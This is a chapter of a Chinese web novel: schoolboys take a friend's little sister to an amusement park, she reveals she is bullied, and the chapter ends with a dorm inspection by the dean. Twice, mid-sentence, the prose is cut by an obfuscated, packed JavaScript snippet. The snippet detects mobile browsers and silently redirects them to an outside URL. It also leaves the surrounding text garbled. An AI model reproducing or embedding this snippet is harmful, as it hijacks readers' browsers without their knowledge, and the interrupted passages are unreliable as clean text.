黎迟夏不以为然的嘁了一声,“我可不想摊这麻烦事,班长已经够我受的了。” 纪远声觉得黎迟夏有时候实在是小孩子脾性,抱怨的时候头头是道,其实费心费力从不比别人少,甚至晚自习结束了还要去加练,内心在意得不行。 挺可爱的。 “哥,我吃完了。”纪念戳了戳纪远声,睁大了眼睛望他。一旁三人都不明白她的意思,纪远声却秒懂,帮她打开了蛋糕的盒子。草莓蛋糕买的是小份,一个人的量。 纪念小心翼翼地舀了一勺蛋糕,出人意料地抬手递向纪远声。她哥哥笑了笑,“我不爱吃甜食。”她惊讶地呆了一下,这才放心地吃起来,腮帮子鼓得像囤食的仓鼠。 “等会要不要去游乐场玩?”纪远声问。 “游乐场?”纪念眼睛亮晶晶的,难以置信地再一次确认,因为嘴里塞满了蛋糕,说话有点艰难,于是疯狂点头。 “那吃完就走。” 黎迟夏发觉纪远声对于妹妹并不只是单纯的怜惜和爱护,还有一种慎重和歉疚,有所顾忌的慎重,有所亏欠的歉疚。可偏偏他妹妹对他也包含着相似的情绪。像两个千丝万缕连着的飘萍在水流里忽近忽远,却无能为力。 周末的游乐场门口排起了长队,黎迟夏等得有些不耐,好在小寿星并不在意,脸上只有兴奋和期待。 “哥,我想坐过山车!” 黎迟夏从手机里抬起头,替纪远声回答,“你这个身高不行哦,玩旋转木马吧。” 纪念想了想,“那我要去坐跳楼机。” “……这个更不行了哈。” 丁点儿大的小女孩,怎么喜欢这种刺激又折寿的东西…… 纪远声这时插话道,“摩天轮也很好。” “你和你妹的喜好是不是反了?”黎迟夏怀疑地问道,“不是女孩子才会喜欢摩天轮吗?” “不浪漫吗?” “……浪漫。”过山车和跳楼机都顾着尖叫去了,哪还有命浪漫? 像这个年纪的小孩,的确有很多不开放的游乐设施。于是他们先带纪念去了旋转木马。纪远声怕她个子矮,坐在上面不安全,原本想和她同骑一匹,结果小姑娘非要一个人一匹,比她哥还倔。 四个大男生本就嫌旋转木马丢人,这么一来倒正好,索性站外面看她玩。 虽然和预期有点差距,纪念还是很尽兴的。她扶着马头,一会儿朝纪远声他们招手,一会儿扭头看看隔壁的木马,大多都是年纪差不多的小孩。 几人又带着纪念玩了几个小项目,小孩本就好奇心重,纪念又是第一次来游乐场,俨然成了刘姥姥进大观园,恨不得把每个都尝试一遍。 “咔嚓” 黎迟夏正好带了相机,给她拍了不少照片,小孩子是很容易满足的,给一片黄连再塞一颗糖,也许就只记得糖的甜了。 郑新言和荀北被这气氛感染,也来了兴致,毕竟也不缺人手,两人约着去跳楼机了。 “你也去玩吧,高中忙,出来一趟不容易。我看着她就行。” “不用,我以前来得多了。”黎迟夏实话实说,“你一个人有点事儿也顾不过来。” 结果话音未落,纪远声手机就响了。 纪远声看了一眼联系人,刻意压低了声音说,“黎迟夏,我去接个电话,你帮我带带她。” “OK,”黎迟夏看了看他,似乎想起什么,“记得按时吃药。” 纪远声心头绷紧的弦松了一下,“好。”他看了一眼正坐在旋转的茶杯上满面笑容的纪念,才感到一丝抚慰,到远处去接电话。 电话上显示的是精神病院王医师。他做好了心理准备,才接通电话。 “哥哥呢?” 纪念从人群里钻出来,马上发觉她哥哥的突然消失。 “他去上厕所了,”黎迟夏怕她知道些什么,没说实话,“你还想玩什么?” 纪念伸长脖子到处看,好奇地指着一幢黑黢黢的房子,门口还立着两个牛头怪。 “那是什么?” 黎迟夏迟疑了一下才不情愿地回答,“鬼屋。” “鬼屋是有鬼的屋子吗?”纪念天真地问。 “也许。”黎迟夏干巴巴地回答,他本意是想吓唬吓唬她,打消她的好奇。谁知道纪念彻底来了兴趣,“我不信,世界上是没有鬼的——我可以进去看看吗?” 话不要说这么绝对啊。 其实黎迟夏是绝对的唯物主义者,但对于这类地方总有种说不出的排斥。可纪念都这么问了,总不好说不行。 况且总不能比个小姑娘还胆小。 鬼屋从外面看不大,门是一张咧开的嘴,走近就能感觉到有凉气往外面冒。 进入的走道很窄,大概只能走下一个人,好在人是一批批进去的,成年人还得弯着腰。 “你跟在后面,别跟丢了。”黎迟夏回头嘱咐道,发现纪念还落在后面研究一只悬挂的模型蜘蛛。 黎迟夏不放心,又不能让她走在前面,便时时刻刻牵着纪念,不然人丢了满鬼屋地找,谁知道是找人还是找鬼? 这里全程放的恐怖音效,越到深处声音越大,时不时还能爆出一声尖叫,运气好的时候还能引起一连串连锁反应,“啊”声从前面转到后面,此起彼伏。 弯弯曲曲的走道连着不同的鬼屋,冷不防一张脸凑到跟前,绿莹莹的,眼珠子突着,舌头拖得老长,墙上遍布血手印。黎迟夏本以为纪念会被吓到,结果人家面无表情地戳假人,冷静如泰山。 到第三间的时候,门是虚掩的,黎迟夏顶在最前面,还没觉出问题,直接推门而入,没想到下一秒一个裹着白布的模型人体直接朝他荡过来。 幸好黎迟夏反应快,拽着纪念躲过了迎面暴击。 没等他错位的心脏跳回去,里面立即传出十分逼真的笑声,和之前的音效又是两种级别。 黎迟夏头皮还在一胀一胀的。纪念居然觉得很有趣,说要再进来一遍体验体验。黎迟夏看着跃跃欲试的小不点,有点头疼。他本来还担心她被吓哭,还想着怎么哄她,现在想纯属是自我感动了。 “咦?” 纪念扯了扯他衣角,“那里有个门,我们进去看看。” 黎迟夏认命地答应着,他早看到那扇暗门,只暗自期待纪念发现不了,这种隐蔽的准没好事,倒不是他真怕鬼,而是和小孩子一对比,自己反应太大显得小题大做,实在丢人。 门后是往下的楼梯,忽明忽暗地亮着灯,黎迟夏没料到这里还有地下室,在前面牵着纪念走。 下面是个密室,很空旷,只有正中央放着一个棺材,其实除了阴森一点,并没有什么可怕之处。 问题是在他们进来之后,楼梯口的门关上了。 ? 黎迟夏估计关键就是棺材,但经过刚才的惊吓他也不大敢贸然开棺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344696|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但纪念是初生牛犊不怕虎的,正要上前细看,被黎迟夏拉住了。他本着保护弱小的原则,抱着“赴死”的决心走过去。 打开棺材。 “我操——” 黎迟夏想过里面有个假人,也想过里面有个能跳起来的假人,却没想过里面有个直挺挺跳出来诈尸的真人。 “啊啊啊啊!” 一个披头散发,肤色惨白的女人刻意僵硬地爬出棺材,嘴里发出咯咯的笑声,刚探出半边身子就敬业地朝黎迟夏抓过去的。 对面已经吓懵了。 “姐姐——” 一旁纪念及时地叫了一声,“女鬼”转过头,看到仰着脸天真烂漫的小女孩,愣了两秒。 “卡哇伊!” “女鬼”顿时母爱属性爆发,刚才的凶邪之气收了个干净,“好可爱的小妹妹!” 很多小孩不懂得害怕,纪念呆呆地看着她,她不知道女鬼,只觉得眼前的大姐姐是头发有些散乱罢了。 “女鬼”摸了摸她的头,送给她一把钥匙,十分温柔地告诉道,“这是送给小妹妹的礼物。” 她又看了看黎迟夏,打趣他,“男孩这么胆小可不行呐。” …… 黎迟夏面无表情地看着这一幕,对“女鬼”的一百八十度大转弯感到震惊。他忍不住问,“正常情况,怎么才能拿到钥匙?” “女鬼”耸了耸肩,“看我心情咯,等玩够了,我会把钥匙丢到棺材里的。” 黎迟夏打了个寒战,敢情还要别人爬棺材里捡吗? 给纪念的钥匙的确能打开那扇门。 这么算还是被纪念保护了,黎迟夏无力扶额。 过了地下室,后面的房间已经不能对黎迟夏引起波澜了,一直到出口,黎迟夏都是蔫巴的,纪念倒是意犹未尽。 出口处纪远声看着两人,一个面色惨淡,另一个十分兴奋,沉默片刻委婉问道,“你低血糖犯了?” “不是。”黎迟夏还没缓过劲儿,又不好意思说是被吓的。 纪念站在一旁看看哥哥,又看看黎迟夏,体贴地给出了提示词,“鬼屋。” “跟这没关系!”黎迟夏立即反驳。 纪远声又沉默片刻,神情莫名,“你怕鬼?” “没有的事!”黎迟夏矢口否认,却给人有种“此地无银三百两”的感觉。 可惜纪远声完全无视了他的垂死挣扎,好笑地问道,“怕鬼怎么还去鬼屋?” 黎迟夏认命地叹了口气,“你妹妹想去。” 纪远声点了点头,“下回让她一个人玩。” 一旁的纪念听得睁大了眼睛。 有兄弟不要妹妹的哥。 “哥哥,我想吃冰淇淋。” “好,自己去买吧。” 黎迟夏看着小姑娘飞向冰淇淋摊的背影,“你妹妹胆儿挺大啊,这个年纪的小女孩不都怕鬼吗?” “因为我跟她说了,世界上没有鬼。” “你说了她就信啊,还记得跟圣旨似的。”黎迟夏啧啧称奇,“你就算跟我说了,我照样怕。” 纪远声想了想,找到了一个比较可信的原因,“她比你听话。” “?” 黎迟夏仅用0.1秒接受了他的鬼才逻辑,感慨道,“这倒是,那会儿你让她防着长的好看的男生,她见了我跟见了鬼似的。” “不对,她应该觉得你比鬼可怕。”纪远声一针见血地指了出来。 黎迟夏翻了个白眼,这不还是你的功劳吗?不说话没人把你当哑巴。 “哥!” 说曹操曹操到。 纪念跑过来,一边吃左手的冰淇淋,一边举起右手的冰淇淋,“买一送一。” 黎迟夏有心逗她,“你哥和我可有两个人,一个冰淇淋怎么分呢?” 纪念听不出玩笑话,挠了挠头,灵机一动,“这是双色的,可以一人吃一半。” 童言无忌啊。 “那正好,香草味的归你,咖啡味的归我。”黎迟夏笑眯眯地转向纪远声。 不等他反应过来,黎迟夏率先咬了一大口咖啡色的冰淇淋,然后递到纪远声跟前。 纪远声犹豫片刻,低头咬了香草味的那一半。黎迟夏僵住了,他本来只是开个玩笑,却被纪远声惊到了。 14. 教导主任 “你……”黎迟夏看着对称了的冰淇淋,大脑一下子宕机了,竟哑口无言。 “男生之间,不是很正常吗?”纪远声面不改色,其实他说的没错,但黎迟夏讲究一点,不然在食堂里也不会特意多拿一双公筷。你一口我一口的吃法,即便是同性,对黎迟夏来说也不那么容易接受。 纪远声看他不自然的神色,接走他手里冰淇淋,不着痕迹地弯了弯嘴角,“再给你买一个?” “……不吃。”黎迟夏脸有点红。 幸好郑新言和荀北找过来,正巧替他解了围。黎迟夏努力把那点莫名的焦躁压下去,扭头看到郑新言烂泥似的靠在荀北身上,没忍住笑出来,“你们这是找了个地方打了一架?” “我可没打他,”荀北毫不掩饰脸上的幸灾乐祸,“坐了个大摆锤就成这样了。” 郑新言朝两损友瞪了一眼,估计是想骂人,可惜没力气,他觉得五脏六腑都错位了,还顶着荀北嫌弃的眼神干呕了半天。 “太恐怖了。” 纪远声注意到郑新言半死不活的样子,怕他身体出问题,“回去吗?”郑新言连忙摆了摆手,“没事,我就是晕车,休息一下就好了。” “又菜又爱玩。”荀北精准总结,他倒是没什么感觉,至少还有心情说风凉话,“对了,那边有个水上乐园,正好是大热天,不怕着凉,要不要去看看?” 纪念连连点头,小孩子是好哄的,对什么都感兴趣,烦心事的寿命都不长。 黎迟夏不禁想,还好他妹妹年纪小,不然也像纪远声这么个藏着事儿的性子,不知道得多难哄。 五人在排队处买了雨衣,顺着水流从滑梯上冲下来,太阳明晃晃地,把水晒得温热。 黎迟夏意犹未尽地从水中起身,揉了揉湿漉漉的头发,朝纪远声笑道,“你还记不记得那天晚上我们掉到水里的时候?” 纪远声愣了一下,他当然记得,他记得少年在接触的一瞬间紧绷的身体,也记得那通电话后他险些失控的情绪。 那天的水温,比今天凉一点。 见几人准备扔了雨衣,纪远声拦了下来。 “还能卖钱呀?”黎迟夏有些好笑。 “……我不是黄牛。”纪远声把自己和妹妹的雨衣叠的整整齐齐,解释道,“雨衣没破,还能用。” 黎迟夏沉默地看他的动作,不理解但尊重。他把自己的也叠了一番,但明显丑的多,递给了纪远声,笑道,“暂寄在你那了。”郑新言和荀北也是开团秒跟。 “玩开心了吗?小结巴。” 黎迟夏问纪念,他原本还顾忌着小妹妹的自尊心,见纪远声有时也这么叫便随口了。 纪念重重点头。 “下个小时还有巡演,等不等?犯困就回去。”黎迟夏早就做好了攻略。 纪念又是点头,两眼放光。 在游乐场里逛了一天,几人正好趁这点儿时间觅食。纪念还是看到什么都想吃,可惜她哥不让,倒不是怕浪费钱了,是担心她的肠胃受不了。 小姑娘看到什么都上去瞅两眼,这个没买成还没失望几步路,转眼又被那个小摊吸引了目光。另一边则成了纪远声严选,一双眼睛仿佛能看出配料,总能拒绝得义正词严。 有了之前的经验,最后只给她买了煎饼。 但四个男生一人拎了一袋烧烤,纪念郁闷地看着他们,脸上写的并不是“为什么不给我买”,而是“为什么要在我面前吃”? 巡演在热闹的摇滚乐中走来,一片飘忽不定的灯河绕绕荡荡,八人组成的巡游乐队踩着鼓点走来。大号手憋红了脸,铜管在暮色里闪着刺眼的金光;鼓手的槌子落下,绑在鼓沿的彩色飘带便跟着一颤。 黎迟夏脑海中突然闪过纪远声一人白T恤站在台上的画面。 他们身后,跟着一辆缓缓蠕动的花车。花车被塑造成一座巨大的、融化的蛋糕。 车尾跟着个花花绿绿的小丑,小丑踩着高跷,摇摇晃晃又稳稳当当。 纪念呆呆地看着,并不像其他小孩一样欢呼大叫。纪远声眼睑微垂,与热闹隔绝开来。 黎迟夏见过的场面太多,这种规模已经翻不起什么波澜。因为人群拥挤,他们站的都很近,纪远声的呼吸甚至能吹起他的头发。他侧了侧脸,半仰着头便正对他耳边。 “纪远声,下次带你去坐摩天轮。” 纪远声眼中掠过诧异,没说话。 那边恰好也没了下文,几乎让他以为是自己的错觉。 游人被这道光河吸引着,聚拢过来,又很快被它超越、抛下。孩子们追着小丑跑,伸出手想碰那彩色的裤管;年轻的父母举起手机,闪光灯在渐浓的夜色里亮成一片细碎的星。 小丑注意到与周围人群格格不入的纪念,他摘下那顶滑稽的帽子,俯身变出了一支玫瑰,递向纪念。 “给……给我的吗?”纪念还没反应过来,发现手里已经多出一支玫瑰,再抬头时,小丑却挥着帽子远去。 黎迟夏立即抓拍。 音乐渐渐飘远,黎迟夏以为纪念会想追上去。但没有,她还在看那支玫瑰。 然后她抬起头,“哥哥,我们可以不被人讨厌吗?” “可以不被欺凌吗?” 几人都懵了,纪远声皱了眉,隐隐不安,他答得很快,“可以。” 纪念低着头,更像在自言自语,“他们说我是没爹没妈的小孩,是累赘,是扫把星。”她原本就结巴,一激动更严重。纪远声脸色骤冷,心头一直悬着的石头落了地,却砸出深坑。但他压住了怒火,只轻拍她的肩。 但纪念双肩微微颤抖,“他们打骂我,抢我的作业本,把饭菜泼在我身上……很多人。”她很快地抹掉眼泪,像生怕眼泪掉下来,但抽噎声止不住。 纪远声想起那天溅上油污的衣服,一下子如坠冰窖,脸上的血色瞬间褪尽。 他的妹妹在他面前受了欺负,他却一无所知。 从什么时候开始,兄妹成了彼此的局外人。 “那就反击。”一旁黎迟夏忽然开口,“打不过就摇人,别一个人扛!” 说到最后一句时他的心猛地一跳,说的其实不只是纪念,他忍不住撇向纪远声。但对方心不在焉地耷拉着眼睛,显得颓唐而阴郁。 “我不想上学,不想看到他们,哥哥,我能不去学校吗?”纪念小声嗫嚅,眼泪一旦开了闸就像破堤的洪水。 纪远声在嘈杂声里蹲下来,目光与她平视,“纪念,你就是珍宝,你和你的同学一样值得被爱,被人欺负了就立即告诉我,不想上学就先不去了。不要把事情憋在心里。” “是啊,小妹妹。”郑新言笑嘻嘻地摸了摸她的头,你哥就是你的靠山啊,总不能连一群小屁孩都治不了。” “是,你哥会给你撑腰,我们会给你哥撑腰。”黎迟夏在旁边补充。 纪远声微怔,有一瞬间的恍惚。 “可是……”纪念抬头看着纪……,眼睛肿了,“我不想给你添麻烦,那个姐姐说了,如果不是我,你本来可以参加艺考,可以赚很多钱——” “谁说的?”纪远声声音有点哑,“林芝微?” 纪念没说话。 林子轩姐姐来找她已经是两年前的事,难怪纪念却一直不肯说,原来讲的是这些。纪远声喉头微涩。 “不是的,和你没关系。”他无法控制地攥紧拳,胸膛起伏,却仍强忍怒意。 他甚至不知道自己的妹妹把这些事藏了多长时间,她不说,他也没问。沉默成了厚重的墙,抵住了流毒也拒绝了氧气。 纪远声把她拉到长椅上,一点点地安慰,把道理掰碎讲给她听。黎迟夏从没见过他这样长篇大论的样子,他扭过头去,怕自己憋不住笑。 早该如此。 —— 夏季天黑得早,纪念一天下来也折腾累了,现在是真犯困,手里还握着那支红玫瑰。纪远声要用自行车接她回去,在分岔路口和黎迟夏三人道别。 “以后还上你家蹭饭啊。”黎迟夏笑道,“五星级厨师!” 纪远声握着车龙头的手无意识地收紧,一时间竟不知怎么回答。他本不该靠近黎迟夏,但在对方伸出手的那一刻,他又想走出自己的安全区,哪怕学那飞蛾扑火,哪怕被太阳灼伤。 渴望光的灵魂往往畏光,人真是十分矛盾的生物。 他不想再沉默了。 但最终只张了张嘴,口型像在道谢。 回校的路上,郑新言打了个哈欠,“童年的味道啊。” “你是真的菜,玩个大摆锤,能吐成那样?” “那是好几种的叠加效果好不好?”郑新言嘴硬,“再说那不是我中午吃多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344697|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “要是空腹去,你不得把胃酸吐出来啊哈哈哈哈!” 晚上黎迟夏躺在床上刷手机,听音乐的时候想起纪念说纪远声艺考的事情。他都没看出纪远声原来是这么莽的性子,艺术生转文化生算是个例,人的精力有限,怎么可能兼顾专业和文化课? 纪远声根本就是在拿前程去赌。他皱了皱眉,这种做法无非就是为了省钱,或者赚钱。他一想到纪远声为了钱身不由己就觉得气闷。 黎迟夏家境好,父母又开明,很少有求而不得的东西,第一次见证苦难,居然是在同学的身上。 他把耳机的声音调大,总还有心事在脑海里盘旋,找个机会劝劝纪远声吧,黎迟夏踢了踢毯子。 “有人敲门!可能是宿管。” 对床的荀北警觉地把手机藏好,小声提醒道。宿舍门隔音差得很。郑新言连忙把平板和手机一股脑往衣柜底下塞。 见黎迟夏没反应,荀北用晾衣杆隔空捅了捅他,“有人来检查了。” 黎迟夏吓得一激灵,才听到敲门声。 “周末不至于有宿管吧?” 说是这么说,他还是把手机藏在床垫里。等东西都收拾好了,郑新言才慢吞吞开了门。 一个神情威严的中年男人走进来,跟个扫描机一样上下左右地扫射,连一向最不守规矩的郑新言都有点紧张 “嗯?” 宿管眉头一皱,“这个充电器是干嘛的?” 黎迟夏从床上坐起来,一眼瞄到郑新言充电器还插在插头上,心里暗骂了一句猪脑子。 别说手机的充电器,这插头原本就是不让用的。西瓜皮扔了瓜子还留着,谁不知道他吃了西瓜? 看那宿管不是新官也要放三把火的样子,黎迟夏觉得郑新言小命不保。 “呃……是小电扇的充电器。”猪脑子灵机一动,没有卵用。 “学校明文规定不让用充电器,私自携带用电器,对自己的安全完全不负责任!你们寝室长是谁?” 没有寝室长,但我们班的都归我管,黎迟夏在心里腹诽。 “老师,是我没提醒到位,”黎迟夏一边无声地骂郑新言,一边给他兜底,至少把手机骗过去,“肯定不会有下次了。” 可惜那宿管镜片厚,但并不瞎,“还有,你这什么充电器,这是手机充电器!来来来,你告诉我你用手机充电器充风扇是吧,你咋不用手当脚在地上倒立行走呢?” 郑新言几度想张口解释,奈何对方语速太快,机关枪似的没给他留空隙。 “带充电器。带手机。带什么?带游戏机?要不要我给你搬台电视来?要不要给你拉根网线?赶紧的,把手机也拿出来!” 尽管郑新言学聪明了,咬死不承认自己带了手机,谁料宿管也不和他开玩笑,当场掏出手机要给家长打电话,郑新言泄气了,不情不愿的把手机一起上交。 宿管不耐烦地抢过来,那架子比校长还大,“这一次是警告,下一次直接处分!” 眼见宿管刚迈出门,郑新言朝他背影比了个中指,“我操,管这么宽!” 他一屁股坐到椅子上,唉声叹气,“什么破学校,简直就是监狱,周末晚上查手机,灭绝人性啊啊啊啊!” 郑新言嚎到一半嘎然而止,宿管折返回来。 “对了,你们隔壁是谁?怎么没人?” 三人面面相觑,黎迟夏犹豫了一下,还是回答,“纪远声。” “哦,那个插班生是吧?”宿管似乎知道不少,露出“原来如此”的表情,黎迟夏有些奇怪。 “你们有人知道他去哪了吗?”宿管神情严肃。 “他去洗澡了。”黎迟夏镇定回答。 宿管眉头皱成川字,“那行,我就在这等他出来。” ?黎迟夏恨不得抽自己两巴掌。 等送走这尊大佛。他立即翻出手机,给纪远声发消息。 [刚宿管来查寝了,非要等你回来。] [?] 黎迟夏盯着这个意味不明的问号,正要解释,对面又发了一条。 [哪个宿管?] 黎迟夏想了想,[40多岁,1米6,秃头] [。] 黎迟夏很想也回一个问号,但对面很快又发过来。 [那是教导主任。]